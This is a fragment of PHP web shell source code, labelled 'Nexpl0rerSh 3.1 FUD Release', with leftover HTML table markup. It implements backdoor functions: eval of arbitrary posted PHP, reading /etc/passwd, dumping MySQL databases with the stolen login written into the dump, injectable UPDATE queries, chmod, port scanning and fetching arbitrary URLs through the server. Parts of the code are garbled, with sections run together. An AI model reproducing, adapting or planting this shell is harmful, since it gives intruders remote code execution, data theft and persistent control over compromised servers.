| perms | name | owner/group | actions | |||||||||||||||||||||||||||||||
| '.$info.' | '.$file.' | '.$owner.' | ||||||||||||||||||||||||||||||||
| '.$info.' | '.$file.' | '.$owner.' | Go | |||||||||||||||||||||||||||||||
| '.$info.' | '.$file.' | '.$owner.' | ||||||||||||||||||||||||||||||||
| '.$info.' | '.$file.' | '.$owner.' | Go |
|
:: MySQL Exploit :: |
|
|
|
|
'; } // MySQL Update row if ($_POST['mode'] == "update") { $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error()); $db = mysql_select_db($_COOKIE['mysql_name']); $conditions = urldecode(stripslashes($_POST['conditions'])); $table = $_POST['table']; $select = mysql_query("SELECT * FROM {$table} WHERE{$conditions}LIMIT 1")or die(mysql_error()); $output .= '
".mysql_error()); $uno = mysql_fetch_array($select, MYSQL_ASSOC); $pars = array_keys($uno); $query = "UPDATE {$table} SET"; foreach($pars as $fields) { $query .= " {$fields}='{$_POST[$fields]}',"; } $query = substr($query,0,strlen($query)-1); $query .= " WHERE{$conditions}"; $output = "Executed query: {$query} "; mysql_query($query)or die("QUERY: ".$query." ERROR:".mysql_error()); } // MySQL Dump if ($_POST['mode'] == "dump_db") { $dump = "# Dumped by Nexpl0rerSh 3.1 FUD Release \n"; $dump .= "# MySQL version: (".@mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").") \n"; $dump .= "# Database: ".$_POST['dbname']."\n"; $dump .= "# ".$_COOKIE['mysql_user'].":".$_COOKIE['mysql_pass']."@".$_COOKIE['mysql_host']."\n"; $db = $_POST['dbname']; setcookie('mysql_name', $db); $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error()); (isset($_POST['dbname'])) ? mysql_select_db($_POST['dbname']) : print ""; $q = mysql_query("SHOW TABLES")or die(mysql_error()); while ($table = mysql_fetch_array($q)) { $dump .= datadump($table[0]); } $file_name = $db."_dump_".date("d_M_Y")."_Nexpl0rer.".sql; chdir($dir); $fp = fopen($file_name, "w+"); fwrite($fp, $dump); fclose($fp); $output .= 'Dump saved in '.$dir; } // MkDir if ($_POST['mode'] == "mkdir") { chdir($dir)or die("Error."); if (mkdir($_POST['mkdir'])) { $output = "Directory created."; } } // Eval if ($_POST['mode'] == "eval") { chdir($dir); eval(stripslashes($_POST['eval'])); die(); } // phpinfo if ($_POST['mode']=="phpinfo") { phpinfo(); die(); } // tools if ($_POST['mode']=="tools") { switch($_POST['nometool']) { //passwd case 'passwd': if (!($txt = file_get_contents("/etc/passwd"))) { $output = "Cannot open /etc/passwd"; } else { $output = nl2br($txt); } break; //encoder case 'encoder': $output = " crypt - sha1 - crc32 - urlencode - urldecode - Base convertations: Ho analizzato $scannersh "; $checked = array(); foreach (glob("*.php*") as $file) { $a = fopen($file, "r+"); $b = fread($a, filesize($file)); for ($i = 0; $i < count($evil); $i++) { $me = array_reverse(explode("/",$_SERVER['PHP_SELF'])); $str = eregi($evil[$i], $b); if (($str !== FALSE) and ($file != $me[0]) and (!in_array($file, $checked))) { array_push($checked, $file); $output .= "Trovato Possibile $evil[$i] in {$file} "; } } fclose($a); } break; // proxy case 'proxy': $output = ' '; break; } } // proxysurf if ($_POST['mode'] == 'proxysurf') { $output = ' '; if (!$_POST[curl] && !$_POST[fopen]) { $dirz=""; $u=parse_url($_POST[url]); $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; if(substr_count($file,'/')>1)$dirz=substr($file,0,(strpos($file,'/'))); $url=@fsockopen($host,80,$en,$es,12); if(!$url)die(" Can not connect to host!"); fputs($url,"GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); while(!feof($url)){ $con=fgets($url); $output .= $con; } fclose($url); } else if ($_POST[curl]) { ob_clean(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_POST[url]); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); ob_end_flush(); } else if ($_POST[fopen]) { $file = file($_POST[url]); foreach ($file as $line){ $output .= $line; } } } // chmod if ($_POST['mode']=="chmod") { chdir($dir); chmod($_POST[filename], intval($_POST[filemode], 8))or die("cannot change file mode"); $output = "Mode changed!"; } // portscan if ($_POST['mode']=="scan") { $opent = array(); $host = $_POST[host]; $range = range($_POST[min_port], $_POST[max_port]); foreach($range as $port) { $con = fsockopen($host, $port, $errno, $errstr, 12); if ($con) $opent[] = $port; } $output = "Found ".count($opent)." opened ports: "; while(list($num, $value)=each($opent)) { $output .= "$num : $value "; } } ?>
|